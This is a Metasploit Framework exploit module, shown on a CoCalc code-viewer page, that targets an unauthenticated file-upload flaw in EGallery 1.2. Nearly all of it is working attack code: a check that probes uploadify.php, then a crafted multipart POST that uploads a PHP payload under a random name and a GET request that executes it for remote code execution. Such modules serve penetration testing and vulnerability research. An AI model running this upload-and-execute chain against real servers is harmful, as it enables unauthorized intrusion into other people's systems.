Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/unix/webapp/egallery_upload_exec.rb
19847 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = ExcellentRanking
8
9
include Msf::Exploit::Remote::HttpClient
10
11
def initialize(info = {})
12
super(
13
update_info(
14
info,
15
'Name' => "EGallery PHP File Upload Vulnerability",
16
'Description' => %q{
17
This module exploits a vulnerability found in EGallery 1.2 By abusing the
18
uploadify.php file, a malicious user can upload a file to the egallery/ directory
19
without any authentication, which results in arbitrary code execution. The module
20
has been tested successfully on Ubuntu 10.04.
21
},
22
'License' => MSF_LICENSE,
23
'Author' => [
24
'Sammy FORGIT', # Discovery, PoC
25
'juan vazquez' # Metasploit module
26
],
27
'References' => [
28
['OSVDB', '83891'],
29
['BID', '54464'],
30
['URL', 'http://web.archive.org/web/20170128123244/http://www.opensyscom.fr/Actualites/egallery-arbitrary-file-upload-vulnerability.html']
31
],
32
'Payload' => {
33
'BadChars' => "\x00"
34
},
35
'DefaultOptions' => {
36
'EXITFUNC' => 'thread'
37
},
38
'Platform' => ['php'],
39
'Arch' => ARCH_PHP,
40
'Targets' => [
41
['EGallery 1.2', {}]
42
],
43
'Privileged' => false,
44
'DisclosureDate' => '2012-07-08',
45
'DefaultTarget' => 0,
46
'Notes' => {
47
'Reliability' => UNKNOWN_RELIABILITY,
48
'Stability' => UNKNOWN_STABILITY,
49
'SideEffects' => UNKNOWN_SIDE_EFFECTS
50
}
51
)
52
)
53
54
register_options(
55
[
56
OptString.new('TARGETURI', [true, 'The base path to EGallery', '/sample'])
57
]
58
)
59
end
60
61
def check
62
uri = target_uri.path
63
64
res = send_request_cgi({
65
'method' => 'GET',
66
'uri' => normalize_uri(uri, "egallery", "uploadify.php")
67
})
68
69
if res and res.code == 200 and res.body.empty?
70
return Exploit::CheckCode::Appears
71
else
72
return Exploit::CheckCode::Safe
73
end
74
end
75
76
def exploit
77
uri = normalize_uri(target_uri.path)
78
uri << '/' if uri[-1, 1] != '/'
79
80
peer = "#{rhost}:#{rport}"
81
payload_name = rand_text_alpha(rand(10) + 5) + '.php'
82
boundary = Rex::Text.rand_text_hex(7)
83
84
post_data = "--#{boundary}\r\n"
85
post_data << "Content-Disposition: form-data; name=\"Filename\"\r\n\r\n"
86
post_data << "#{payload_name}\r\n"
87
post_data << "--#{boundary}\r\n"
88
post_data << "Content-Disposition: form-data; name=\"folder\"\r\n\r\n"
89
post_data << "#{uri}\r\n"
90
post_data << "--#{boundary}\r\n"
91
post_data << "Content-Disposition: form-data; name=\"Filedata\"; filename=\"#{payload_name}\"\r\n\r\n"
92
post_data << "<?php "
93
post_data << payload.encoded
94
post_data << " ?>\r\n"
95
post_data << "--#{boundary}--\r\n"
96
97
print_status("Sending PHP payload (#{payload_name})")
98
res = send_request_cgi({
99
'method' => 'POST',
100
'uri' => normalize_uri("#{uri}egallery/uploadify.php"),
101
'ctype' => "multipart/form-data; boundary=#{boundary}",
102
'data' => post_data
103
})
104
105
# If the server returns 200 and the body contains our payload name,
106
# we assume we uploaded the malicious file successfully
107
if not res or res.code != 200 or res.body !~ /#{payload_name}/
108
print_error("File wasn't uploaded, aborting!")
109
return
110
end
111
112
print_status("Executing PHP payload (#{payload_name})")
113
# Execute our payload
114
res = send_request_cgi({
115
'method' => 'GET',
116
'uri' => normalize_uri("#{uri}#{payload_name}")
117
})
118
119
# If we don't get a 200 when we request our malicious payload, we suspect
120
# we don't have a shell, either. Print the status code for debugging purposes.
121
if res and res.code != 200
122
print_status("Server returned #{res.code.to_s}")
123
end
124
end
125
end
126
127